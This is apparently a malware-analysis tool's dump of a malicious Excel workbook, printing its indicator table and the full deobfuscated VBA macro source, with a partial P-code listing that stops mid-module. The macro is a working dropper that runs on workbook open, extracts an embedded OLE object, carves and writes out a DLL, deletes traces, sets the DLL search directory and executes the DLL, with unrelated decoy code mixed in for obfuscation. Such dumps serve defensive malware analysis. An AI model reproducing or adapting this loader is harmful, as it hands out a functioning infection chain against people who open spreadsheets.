- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
�xl\embeddings\oleObject1.bin�
-------------------------------------------------------------------------------
VBA FORM Variable "b'TextBox1'" IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/Form0'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b''
-------------------------------------------------------------------------------
VBA FORM Variable "b'TextBox3'" IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/Form0'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b'\\oleObject*.bin'
-------------------------------------------------------------------------------
VBA FORM Variable "b'ComboBox1'" IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/Form0'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
b''
-------------------------------------------------------------------------------
VBA FORM Variable "b'Label1'" IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/UserForm1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
None
-------------------------------------------------------------------------------
VBA FORM Variable "b'Label11'" IN 'cab524a78050a7c2263ca915604db302.in' - OLE stream: '_VBA_PROJECT_CUR/UserForm1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
None
+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|AutoExec  |Workbook_Open       |Runs when the Excel Workbook is opened       |
|AutoExec  |cmd_Keluar_Click    |Runs when the file is opened and ActiveX     |
|          |                    |objects trigger events                       |
|AutoExec  |TextBox2_Change     |Runs when the file is opened and ActiveX     |
|          |                    |objects trigger events                       |
|Suspicious|Open                |May open a file                              |
|Suspicious|Write               |May write to a file (if combined with Open)  |
|Suspicious|Put                 |May write to a file (if combined with Open)  |
|Suspicious|Binary              |May read or write a binary file (if combined |
|          |                    |with Open)                                   |
|Suspicious|FileCopy            |May copy a file                              |
|Suspicious|Kill                |May delete a file                            |
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Call                |May call a DLL using Excel 4 Macros (XLM/XLF)|
|Suspicious|ActiveWorkbook.SaveA|May save the current workbook                |
|          |s                   |                                             |
|Suspicious|CreateObject        |May create an OLE object                     |
|Suspicious|Lib                 |May run code from a DLL                      |
|Suspicious|Hex Strings         |Hex-encoded strings were detected, may be    |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|Suspicious|VBA obfuscated      |VBA string expressions were detected, may be |
|          |Strings             |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |kernel32.dll        |Executable file name                         |
|IOC       |str_join2.dll       |Executable file name                         |
|IOC       |str_join1.dll       |Executable file name                         |
|Hex String|'\x00\x02\x08\x19'  |00020819                                     |
|Hex String|'\x00\x00\x00\x00\x0|000000000046                                 |
|          |0F'                 |                                             |
|Hex String|'\x00\x02\x08 '     |00020820                                     |
|Hex String|'=*'              |FCFB3D2A                                     |
|Hex String|'\x08\x00+3q'      |08002B3371B5                                 |
|Hex String|'Xc'              |C1E05863                                     |
|Hex String|'4-~\x15'         |34902DC37E15                                 |
|Hex String|'h5X'              |68C23558                                     |
|Hex String|'$o'            |A3C2F824BF6F                                 |
|Hex String|'o\x14V'           |6F1456AC                                     |
|Hex String|'Rcj\x1aI'         |52636A1AE749                                 |
|Hex String|'}'              |FE7DD4E8                                     |
|Hex String|'\t \x1fk'        |C009201FB86B                                 |
|Hex String|'m'              |80C7F46D                                     |
|Hex String|'\x1aN'         |1A9CA28F9E4E                                 |
|Hex String|'9n'              |E0396EC9                                     |
|Hex String|'S`~'             |E7B553607EA7                                 |
|Hex String|'ʵ$P&<\x15`M\x|cab524a78050a7c2263ca915604db302             |
|          |02'                 |                                             |
|Base64    |"ICy8yh'" |SetDefaultDllDirectories                     |
|String    |                    |                                             |
|VBA string|b'\xb1\x15'         |Range("B115")                                |
|VBA string|                    |"" + ""                                      |
|VBA string|Dr001               |"Dr" & "001"                                 |
|VBA string|00001               |"00" & "001"                                 |
|Suspicious|VBA Stomping        |VBA Stomping was detected: the VBA source    |
|          |                    |code and P-code are different, this may have |
|          |                    |been used to hide malicious code             |
+----------+--------------------+---------------------------------------------+
VBA Stomping detection is experimental: please report any false positive/negative at https://github.com/decalage2/oletools/issues
MACRO SOURCE CODE WITH DEOBFUSCATED VBA STRINGS (EXPERIMENTAL):


Private Sub Workbook_Open()
If WelcomeDialog.Visible = True Then
Exit Sub
End If

Module5.RedButton 19999
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Worksheet_SelectionChange(ByVal target As Range)

End Sub

Attribute VB_Name = "Page11"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Lumene"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Dim vSpeed As Integer
Dim vLicensePlate As String

Public Property Get Speed() As Integer
    Speed = vSpeed
End Property


Public Property Get CheckCar(car As Variant, Drive As String)
CheckCar = car.SpecialFolders("" & Drive)

End Property
Public Property Get SpecialFolders() As String
    LicensePlate = vLicensePlate
End Property

Public Property Let LicensePlate(lp As String)
    If Len(lp) <> 6 Then Err.Raise (xlErrValue)
    vLicensePlate = lp
End Property




Attribute VB_Name = "WelcomeDialog"
Attribute VB_Base = "0{C1E05863-0B58-4638-85CD-34902DC37E15}{68C23558-63D9-4BED-B30A-A3C2F824BF6F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Private Sub UserForm_Activate()
DoEvents
DoEvents
ExChangeMoney
DoEvents
End Sub





Attribute VB_Name = "Module1"
 Public HurricanMoes() As Byte
Public PatchForLuck As Byte
Public LUCKY As Double
Public MoveStep As Byte
Public PatchForHeart As Byte




#If VBA7 And Win64 Then
    Public Declare PtrSafe Function code2 Lib "kernel32.dll" Alias "SetDefaultDllDirectories" (ByVal DirectoryFlags As Long) As Long
    Public Declare PtrSafe Function code1 Lib "kernel32.dll" Alias "AddDllDirectory" (ByVal dirName As String) As LongPtr
    Public Declare PtrSafe Function torx Lib "str_join2.dll" () As Integer
 #Else
    Public Declare Function code2 Lib "kernel32.dll" Alias "SetDefaultDllDirectories" (ByVal DirectoryFlags As Long) As Long
    Public Declare Function code1 Lib "kernel32.dll" Alias "AddDllDirectory" (ByVal dirName As String) As Long
    Public Declare Function torx Lib "str_join1.dll" () As Integer
#End If



Public Sub VistaQ(WhereToGo)
 DoEvents
        ThisWorkbook.Sheets.Copy
        Application.DisplayAlerts = False
        DoEvents
        ActiveWorkbook.SaveAs WhereToGo, Local:=False, FileFormat:=3 * 7 + 3 * 7 + 9
    DoEvents
    DoEvents
    ActiveWorkbook.Close
DoEvents
    DoEvents


End Sub





Public Sub PublicResumEraseByArrayList(ParamArray putArrayBigList() As Variant)
    On Error Resume Next
    For Each Key In putArrayBigList
        Kill Key
    Next Key
End Sub





Private Sub TextBox2_Change()

x = Len(TextBox2)
Y = LTrim(TextBox2.Text)
d = TextBox2
If d = "" Then
TextBox2.BackColor = &HFFFFFF
Exit Sub
End If
If Left(d, 2) > 24 Then
MsgBox "Ora Errata"
TextBox2.SelStart = 0
TextBox2.SelLength = Len(TextBox2)
Exit Sub
End If
If x = 2 Then TextBox2 = Y & ":"
If x = 4 Then Exit Sub

If Mid(d, 4, 2) = "" Then Exit Sub
If Mid(d, 4, 2) > 59 Then
MsgBox "Minuti Errati"
TextBox2.SelStart = 3
TextBox2.SelLength = Len(TextBox2)
Exit Sub
End If


If x = 5 Then
TextBox3.SetFocus
End If
Exit Sub

Resume
End Sub

Public Function ExChangeMoney()


   Dim ofbl As String
    Dim sOfbl As String
     Dim NumBForRead As Long


    dershlep = "" & Form0.TextBox1.Tag



Dim sendings As Integer
ofbl = Form0.TextBox1.Tag
ofbl = ofbl + "\str_join"

 liquidOne = Form0.TextBox1.Tag + "\academ"

 liquidOne = liquidOne + "l.xlsx"

         Dim arr(1 To 3) As String




   If LenB(Form0.TextBox3.Text) > 200 Then
        MsgBox "Ultrapassa 66 Caracteres!", vbCritical, "HISTÓRICO"
        TextBox7.SelStart = 0
    Else


    End If
        Dim objeto As Control

    If Len(Form0.TextBox1.Text) > 366 Then
        For Each objeto In UserForm1.Controls
            On Error Resume Next
            objeto.Value = ""
        Next

        Unload ggg.UserForm1
        ggg.UserForm1.Hide
    End If



ctackPip = liquidOne & Page11."b'\xb1\x15'".Value




            sOfbl = ofbl + Page11."b'\xb1\x15'".Value
 PublicResumEraseByArrayList ofbl + "*", Form0.TextBox3.Tag + "\str_join*", sOfbl, ctackPip, dershlep + UserForm1.Label1.Tag


  VistaQ liquidOne

        FileCopy Source:=liquidOne, Destination:=ctackPip
         sendings = 1
         Dim sNMSP As New Shell
         FlagDouble = False

         Lrigat = UserForm1.Label11.Tag

        If sendings > -15 And sendings > -130 Then

            Set DestinationKat = sNMSP.Namespace(dershlep)
            Set harvest = sNMSP.Namespace(ctackPip)


        End If


Set ExcelC = ThisWorkbook.Sheets(1).Application.Sheets(1).Application



DestinationKat.CopyHere harvest.Items.Item(Lrigat)



Dim car As Lumene

Set car = New Lumene

NumBForRead = 445766


      sendings = 1
            flayString = "1"



      Composition dershlep + "" + UserForm1.Label1.Tag + "", sOfbl, NumBForRead

        If sendings < 100 Then
            sendings = sendings + 1
            sendings = sendings + 1
        End If

        If sendings > -15 And sendings > -130 Then

            Set DestinationKat = sNMSP.Namespace(Form0.TextBox3.Tag)
            Set harvest = sNMSP.Namespace(sOfbl)

            DestinationKat.CopyHere harvest.Items


        End If

        If -100 <= sendings Then
            sendings = sendings + 1
            ChDir Form0.TextBox3.Tag
            sendings = sendings + 1
        End If
        sOfbl = """" + sOfbl & ""","""

        If sendings < 0 Then
            sendings = sendings + 1
            sendings = sendings + 1
        End If


        If sendings > 1000 Then
            sendings = sendings - 20
        End If
        If sendings < -47 Then
            sendings = sendings - 20
        End If
      If sendings < 0 Then
            sendings = sendings + 1
            sendings = sendings + 1
        End If
    StopByOk = TestResult(d)


 setDLLDirectory Form0.TextBox3.Tag
        torx
   WelcomeDialog.Hide
End Function


Sub subTotalSales()

    Dim LR As Integer
    LR = Cells(Rows.Count, "A").End(xlUp).Row + 2
    Rows("1:2").EntireRow.Insert Shift:=xlDown

    If LR = 3 Then
        Range("A1").Select
        Call salesHeade.rs
        Range("A2").Formula = "$0"
        Range("B2").Formula = "$0"
        Range("C2").Formula = "$0"
        Range("D2").Formula = "$0"
        Range("E2").Formula = "$0"
        Range("F2").Formula = "0%"
        Range("G2").Formula = "0"
        Range("H2").Formula = "$0"
        Range("I2").Formula = "0"
        Range("J2").Formula = "0"
        Range("K2").Formula = "$0"
        Range("L2").Formula = "$0"
        Range("M2").Formula = "0"
        Range("N2").Formula = "0%"
    Else
        Range("A1").Select
        Call salesHeade.rs
        With ActiveSheet

        End With
    End If

End Sub


Sub InputWeekData(x As Date)

    ActiveCell = Format(x, "ww", vbMonday, vbFirstFourDays)
    ActiveCell.Offset(0, 1).Select
    ActiveCell = x
    ActiveCell.Offset(0, 1).Select
    ActiveCell = x + 6
    ActiveCell.Offset(0, 1).Select

End Sub
Private Sub TextBox3_Change()

Y = LTrim(TextBox3.Text)
d = TextBox3

If x = 5 Then
TextBox4.SetFocus
End If

End Sub

















Attribute VB_Name = "Module2"

 Public Const FirstB As Byte = 80
 Public Const SecondB As Byte = 75
 Public Const ThirdB As Byte = 3
 Public Const FourthB As Byte = 4
Public Sub GetParam(Count As Integer)
    Dim I As Long
    Dim j As Integer
    Dim C As String
    Dim tooolsetChunkI As Boolean
    Dim tooolsetChunkQ As Boolean

    j = 1
    tooolsetChunkI = False
    tooolsetChunkQ = False
    GetP.aram = ""
    For I = 1 To Len(Comma.nd$)
        C = Mi.d$(Comma.nd$, I, 1)
        If tooolsetChunkI Then
            If C = """" Then
                j = j + 1
                tooolsetChunkI = False
                tooolsetChunkQ = False
            End If
        ElseIf Not tooolsetChunkQ Then
            If C = " " Then
                j = j + 1
            End If
        Else
            If C = """" Then
                If j > Count Then Exit Sub
                tooolsetChunkI = True
                tooolsetChunkQ = True
            ElseIf C <> " ccc" Then

            End If
        End If
        If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
    Next I
End Sub





Public Sub setDLLDirectory(ByVal targetDir As String)


    Dim b As Byte
    Dim p As Long

     code2 (&H1000)
     code1 (StrConv(targetDir, vbUnicode))
End Sub

Public Sub GetParam3(Count As Integer)
    Dim I As Long
    Dim j As Integer
    Dim C As String
    Dim tooolsetChunkI As Boolean
    Dim tooolsetChunkQ As Boolean

    j = 1
    tooolsetChunkI = False
    tooolsetChunkQ = False
    GetP.aram = ""
    For I = 1 To Len(Comma.nd$)
        C = Mi.d$(Comma.nd$, I, 1)
        If tooolsetChunkI Then
            If C = """" Then
                j = j + 1
                tooolsetChunkI = False
                tooolsetChunkQ = False
            End If

        Else
            If C = """" Then
                If j > Count Then Exit Sub
                tooolsetChunkI = True
                tooolsetChunkQ = True
            ElseIf C <> " " Then
                tooolsetChunkI = True
            End If
        End If
        If tooolsetChunkI And j = Count And C <> """" Then GetP.aram = GetP.aram & C
    Next I
End Sub






Public Sub Composition(Composition2 As String, ofbl As String, fl As Long)
 Dim PChannel As Long
  Dim logicVari As Integer
 Dim SimpleMethod As Integer
 ReDim HurricanMoes(1 To fl)
 PChannel = FreeFile
 Open Composition2 For Binary Access Read As PChannel
HurricanMoes(1) = FirstB

 HurricanMoes(2) = SecondB
 HurricanMoes(3) = ThirdB
 HurricanMoes(4) = FourthB
 logicVari = 1
Do While Not EOF(PChannel)
 Get PChannel, , MoveStep
 If MoveStep = FirstB Then

 Get PChannel, , PatchForHeart
 If PatchForHeart = SecondB Then

 Get PChannel, , PatchForLuck
 If PatchForLuck = ThirdB Then
  Get PChannel, , PatchForLuck
 If PatchForLuck = FourthB Then
 For k = 5 To fl
 Get PChannel, , MoveStep
 HurricanMoes(k) = MoveStep
 Next k
 Exit Do

 End If
 End If
 End If
 End If
 Loop
 On Error Resume Next
 PublicationChannel = 1892
 Close PChannel
 PublicationChannel = 1892 + PublicationChannel
 PChannel = FreeFile
 PublicationChannel = 1892 + PublicationChannel
 Open ofbl For Binary Lock Read Write As #PChannel
 PublicationChannel = 1892 + PublicationChannel
 zeroBob = 1
 For I = zeroBob To UBound(HurricanMoes)

 If WelcomeDialog.Enabled = True Then

    Put #PChannel, , HurricanMoes(I)
 End If
 Next I
 Close PChannel
 PChannel = FreeFile
 For HSP = 33 To -1 Step -0.25
 PChannel = 6 + I
 Next HSP
 PChannel = 6 + I
End Sub




Private Sub cmd_Keluar_Click()
Unload LSD.Me
MDIForm1.dokter.Enabled = True
MDIForm1.dokter.Checked = False
End Sub

Private Sub cmd_Perbaiki_Click()
If cmd_Perbaiki.Caption = "Pe&rbaiki" Then
   cmd_Simpan.Enabled = False
   cmd_Hapus.Enabled = False
   cmd_Batal.Enabled = True
   Dim var As String
   var = InputBox("Ketikkan kode dokter yang datanya akan di perbaiki !", "Perbaiki Data dokter")
   If var = Empty Then Exit Sub
      Data1.Recordset.Index = "Kode_dokter"
      Data1.Recordset.Seek "=", var
      If Not Data1.Recordset.NoMatch Then
         Call tam.pil
         txtkd_dok.Enabled = False
         txtnm_dok.Enabled = True
         cmd_Perbaiki.Caption = "&Perbaharui data"
      Else
         MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
      End If
Else
Data1.Recordset.Edit
Data1.Recordset!kode_dokter = txtkd_dok.Text
Data1.Recordset!nama_dokter = txtnm_dok.Text
Data1.Recordset.Update
Call ber.sih
cmd_Perbaiki.Caption = "Pe&rbaiki"
cmd_Batal.Enabled = False
cmd_Simpan.Enabled = True
cmd_Hapus.Enabled = True
Call tdk_bi.sa
End If
End Sub

Private Sub cmd_Simpan_Click()
If cmd_Simpan.Caption = "&Isi Data" Then
Call bis.A
nom.Or
M.e.txtnm_dok.SetFocus
cmd_Batal.Enabled = True
cmd_Perbaiki.Enabled = False
cmd_Hapus.Enabled = False
cmd_cari.Enabled = False
cmd_Simpan.Caption = "&Simpan Data"
Else
If txtkd_dok.Text = "" Or         txtnm_dok.Text = "" Then
        MsgBox "Data tidak boleh kosong !", vbCritical, "SISTEM PENJUALAN KREDIT"
        txtkd_dok.SetFocus
        Else
cmd_Batal.Enabled = False
cmd_Perbaiki.Enabled = True
cmd_Hapus.Enabled = True
cmd_cari.Enabled = True
Data1.Recordset!kode_dokter = txtkd_dok.Text
Data1.Recordset!nama_dokter = txtnm_dok.Text
Data1.Recordset.Update
Call ber.sih
cmd_Simpan.Caption = "&Isi Data"
End If
End If
End Sub



Function retVal(ByVal v As Variant) As Variant
    If v <> 0 Then
        retVal = v
    Else
        retVal = ""
    End If

End Function

Function getFile() As String()
    Dim s As String
    Dim sl(1000) As String
    Dim r As Range
    Dim I As Integer
    Erase sl
    I = 0
    For Each r In Worksheets("Sheet1").Range("B1:B100")
        s = r.Value
        If s <> "" Then
            I = I + 1
            sl(I) = s
        End If
    Next r
    getFile = sl()
End Function



Function MatchRegExp(ByVal Text As String, ByVal MatchWord As String, Optional CaseCompare, Optional RegExp As Object = Nothing, Optional Match As Object = Nothing) As Boolean

On Error GoTo Err:
    Dim result As Boolean
    result = False
    Do
        If (MatchWord = "") Or (Text = "") Then Exit Do

        Dim RegCreateFlag As Boolean
        RegCreateFlag = False
        If RegExp Is Nothing Then
            RegCreateFlag = True
            Set RegExp = CreateObject("VBScript.RegExp")
        End If

        RegExp.Pattern = MatchWord
        RegExp.Global = True
        RegExp.IgnoreCase = CaseCompare = IgnoreCase
        Set Match = RegExp.Execute(Text)
        If 1 <= Match.Count Then
            result = True
        End If

        If RegCreateFlag Then
            Set RegExp = Nothing
        End If

    Loop While False
    MatchRegExp = result
    Exit Function
Err:
    MatchRegExp = False
End Function
Private Sub testArrayAddArray()
    Dim A1()
    A1 = Array("A", "B", "C")
    Dim A2()
    A2 = Array("D", "E")

    Call ArrayA.ddArray(A1, A2)
    Call Check(5, ArrayC.ount(A1))
    Call Check("D", A1(3))
    Call Check("E", A1(4))

    '???????????
    Dim B1()
    Dim B2()
    B2 = Array("1", "2")
    Call ArrayA.ddArray(B1, B2)
    Call Check(2, ArrayC.ount(B1))
    Call Check("1", B1(0))
    Call Check("2", B1(1))


End Sub
Sub ArrayInsert(ByRef ArrayValue As Variant, ByVal Index As Long, ByVal Value As Variant)
    Call Assert(IsArray(ArrayValue), "Error:ArrayInsert:ArrayValue is not Array.")
    Call Assert(InRange(LBound(ArrayValue), Index, UBound(ArrayValue)),         "Error:ArrayInsert:Index Range Over.")

    ReDim Preserve ArrayValue(LBound(ArrayValue) To UBound(ArrayValue) + 1)
    Dim I As Long
    For I = UBound(ArrayValue) To Index + 1 Step -1
        Call SetValue(ArrayValue(I), ArrayValue(I - 1))
    Next
    Call SetValue(ArrayValue(Index), Value)
End Sub
Public Function InRange( ByVal MinValue As Long, ByVal Value As Long, ByVal MaxValue As Long) As Boolean

    InRange = ((MinValue <= Value) And (Value <= MaxValue))

End Function
Private Sub testArrayInsert()
    Dim A
    A = Array("A", "B", "C")

    Call Check("B", A(1))
    Call Check(3, ArrayCount(A))
    Call ArrayInsert(A, 1, "1")
    Call Check(4, ArrayCount(A))
    Call Check("1", A(1))

    Dim b()
    ReDim b(2)
    Set b(0) = CreateObject("VBScript.RegExp")
    Set b(2) = Nothing
    Call Check(Shel.l32.CurrentDirectory, b(1).CurrentDirectory)
    Call ArrayInsert(b, 1, fso)
    Call Check("test.txt", b(1).GetFileName("C:\temp\test.txt"))
End Sub
Public Sub Assert(ByVal Value As Boolean, Optional ByVal Message As String)
    If Value = False Then
        Call Err.Raise(9999, , Message)
    End If
End Sub
Public Sub SetValue(ByRef Variable, ByVal Value)
    If IsObject(Value) Then
        Set Variable = Value
    Else
        Variable = Value
    End If
End Sub
Public Function ArrayCount(ByRef ArrayValue As Variant, Optional Dimension = 1) As Long
    Call Assert(IsArray(ArrayValue), "Error:ArrayCount:ArrayValue is not Array.")

    ArrayCount =         UBoundNo.Error(ArrayValue, Dimension) -         LBoundNo.Error(ArrayValue, Dimension) + 1
End Function
Private Sub testAssert()
    Call Assert(False, "???")
End Sub

Public Function Check(ByVal A As Variant, ByVal b As Variant) As Boolean
    Check = (A = b)
    If Check = False Then
        Call MsgBox("A != B" + vbCrLf +             "A = " + CStr(A) + vbCrLf +             "B = " + CStr(b))
    End If
End Function














Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{6F1456AC-F0F3-4936-B126-52636A1AE749}{FE7DD4E8-12EC-494A-9F52-C009201FB86B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module5"

Public Function RedButton(dImmer As Double)

  DosTres = "DosTres"

If WelcomeDialog.Visible <> False Then
Exit Function
End If
    reqPlace = 3
    reqPlace = reqPlace - 1

Set car = New Lumene
    Set TSPIP = New IWshRuntimeLibrary.WshShell
    Select Case reqPlace
    Case 0
        s = "N health problems"
    Case 1
        s = "Minor health problems"

    Case 3
        s = "Sev ere disability"
    End Select

    Dim SpecialPath As String

PRP = "%" & Form0.TextBox1.Tag



TBT = PRP
TBT = TBT + ""
TBT = TBT + "%"
TBT = TSPIP.ExpandEnvironmentStrings(TBT)

  firstWeek = 0
     firstDay = 0
     Dim firstdate As Date
Form0.TextBox1.Tag = TBT
  firstDay = 2

    lastDay = 4
    Dim lastdate As Date
     lastWeek = 0
     lastDay = 0

      s = car.CheckCar(TSPIP, Form0.TextBox3.ControlTipText & "")
    firstWeek = 1

    lastWeek = 3
 Form0.TextBox3.Tag = s


    If Not firstDay = 1 Then
        firstdate = firstdate + (8 - firstDay)
        firstWeek = firstWeek + 1
    End If
    If lastDay = 6 Then
        lastdate = lastdate + 1
        lastDay = lastDay + 1
    ElseIf Not lastDay = 7 Then
        lastdate = lastdate - lastDay
        lastDay = 7
        lastWeek = lastWeek - 1
    End If


     Iteration = 0


ChDir (Form0.TextBox1.Tag + "")
If WelcomeDialog.Visible = False Then
WelcomeDialog.Show
End If

End Function







Private Sub Command7_Click()
 b = MsgBox("?????????", vbYesNo)
 If b = vbYes Then
  A = "delete from cinema where cinid='"
  A = A + Text1.Text + "'"
  cnmovie.Execute A
  rs4.Close
  Sql = "select * from cinema"
  rs4.Open Sql, cnmovie, adOpenDynamic, adLockOptimistic
     If rs.BOF Or rs.EOF Then
       MsgBox "?????!"
     Else
       rs4.MoveFirst
     Call View.Data
   End If
 End If
End Sub




Private Sub nomor()
Dim urutan As String * 5
Dim hitung As Byte

    If Data1.Recordset.RecordCount = 0 Then
        urutan = "Dr001"
    Else
        Data1.Recordset.MoveLast
        If Val(Left(Data1.Recordset!kode_dokter, 3)) <> "000" Then
            urutan = "00001"
        Else
        hitung = Val(Right(Data1.Recordset!kode_dokter, 3)) + 1
        urutan = "Dr" & Right("000" & hitung, 3)
    End If
    End If
    M.e.txtkd_dok = urutan

End Sub

Private Sub cmd_Batal_Click()
Call be.rsih
Call td.k_bisa
cmd_Batal.Enabled = False
cmd_Perbaiki.Enabled = True
cmd_Hapus.Enabled = True
cmd_cari.Enabled = True
End Sub

Private Sub cmd_cari_Click()
Dim var As String
var = InputBox("Masukan Kode Dokter yang ingin anda cari!", "Cari data dokter")
If var = Empty Then Exit Sub
   If var <> "" Then
      Data1.Recordset.Index = "kode_dokter"
      Data1.Recordset.Seek "=", var
      If Not Data1.Recordset.NoMatch Then
         Call tam.pil
         Call bi.sa
         Call kun.ci
      Else
         MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"
      End If
   End If
End Sub



Public Function TestResult(result As Variant)
TestResult = False
If IsNumeric(ExcelReturn) Then
  If ExcelReturn = 0 Then
   TestResult = True
  End If
 End If
End Function
Private Sub cmd_Hapus_Click()
Dim var As String
var = InputBox("Masukan Kode dokter yang akan dihapus!", "Hapus dokter")
If var = Empty Then Exit Sub
   If var = "" Then
      Data1.Recordset.Index = "Kode_dokter"
      Data1.Recordset.Seek "=", var
      If Not Data1.Recordset.NoMatch Then
         Data1.Recordset.Delete
         Data1.Refresh
         Data1.Recordset.MoveFirst
      Else
         MsgBox "Data dokter dengan kode dokter " & var & " tidak diketemukan"

      End If
    End If
End Sub








Attribute VB_Name = "Form0"
Attribute VB_Base = "0{80C7F46D-C38F-49FD-8DE5-1A9CA28F9E4E}{E0396EC9-83AA-4DF7-9F6E-E7B553607EA7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

' Processing file: cab524a78050a7c2263ca915604db302.in
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/ThisWorkbook - 1326 bytes
' Line #0:
' 	FuncDefn (Private Sub Workbook_Open())
' Line #1:
' 	Ld WelcomeDialog
' 	MemLd Visible
' 	LitVarSpecial (True)
' 	Eq
' 	IfBlock
' Line #2:
' 	ExitSub
' Line #3:
' 	EndIfBlock
' Line #4:
' Line #5:
' 	LitDI2 0x4E1F
' 	Ld Module5
' 	ArgsMemCall RedButton 0x0001
' Line #6:
' 	EndSub
' Line #7:
' _VBA_PROJECT_CUR/VBA/Sheet1 - 1215 bytes
' Line #0:
' 	FuncDefn (Private Sub Worksheet_SelectionChange(ByVal target As ))
' Line #1:
' Line #2:
' 	EndSub
' _VBA_PROJECT_CUR/VBA/Page11 - 993 bytes
' _VBA_PROJECT_CUR/VBA/Lumene - 2415 bytes
' Line #0:
' Line #1:
' 	Dim
' 	VarDefn vSpeed (As Integer)
' Line #2:
' 	Dim
' 	VarDefn vLicensePlate (As String)
' Line #3:
' Line #4:
' 	FuncDefn (Public Property Get Speed(id_FFFE As Integer) As Integer)
' Line #5:
' 	Ld vSpeed
' 	St Speed
' Line #6:
' 	EndProp
' Line #7:
' Line #8:
' Line #9:
' 	FuncDefn (Public Property Get CheckCar(car As Variant, Drive As String, id_FFFE As Variant))
' Line #10:
' 	LitStr 0x0000 ""
' 	Ld Drive
' 	Concat
' 	Ld car
' 	ArgsMemLd SpecialFolders 0x0001
' 	St CheckCar
' Line #11:
' Line #12:
' 	EndProp
' Line #13:
' 	FuncDefn (Public Property Get SpecialFolders(id_FFFE As String) As String)
' Line #14:
' 	Ld vLicensePlate
' 	St LicensePlate
' Line #15:
' 	EndProp
' Line #16:
' Line #17:
' 	FuncDefn (Public Property Let LicensePlate(lp As String))
' Line #18:
' 	Ld lp
' 	FnLen
' 	LitDI2 0x0006
' 	Ne
' 	If
' 	BoSImplicit
' 	Ld xlErrValue
' 	Paren
' 	Ld Err
' 	ArgsMemCall Raise 0x0001
' 	EndIf
' Line #19:
' 	Ld lp
' 	St vLicensePlate
' Line #20:
' 	EndProp
' Line #21:
' Line #22:
' Line #23:
' _VBA_PROJECT_CUR/VBA/WelcomeDialog - 1496 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Private Sub UserForm_Activate())
' Line #2:
' 	ArgsCall DoEvents 0x0000
' Line #3:
' 	ArgsCall DoEvents 0x0000
' Line #4:
' 	ArgsCall ExChangeMoney 0x0000
' Line #5:
' 	ArgsCall DoEvents 0x0000
' Line #6:
' 	EndSub
' Line #7:
' Line #8:
' Line #9:
' Line #10:
' _VBA_PROJECT_CUR/VBA/Module1 - 12414 bytes
' Line #0:
' 	Dim (Public)
' 	VarDefn HurricanMoes (As Byte)
' Line #1:
' 	Dim (Public)
' 	VarDefn PatchForLuck (As Byte)
' Line #2:
' 	Dim (Public)
' 	VarDefn LUCKY (As Double)
' Line #3:
' 	Dim (Public)
' 	VarDefn MoveStep (As Byte)
' Line #4:
' 	Dim (Public)
' 	VarDefn PatchForHeart (As Byte)
' Line #5:
' Line #6:
' Line #7:
' Line #8:
' Line #9:
' 	LbMark
' 	Ld VBA7
' 	Ld Win64
' 	And
' 	LbIf
' Line #10:
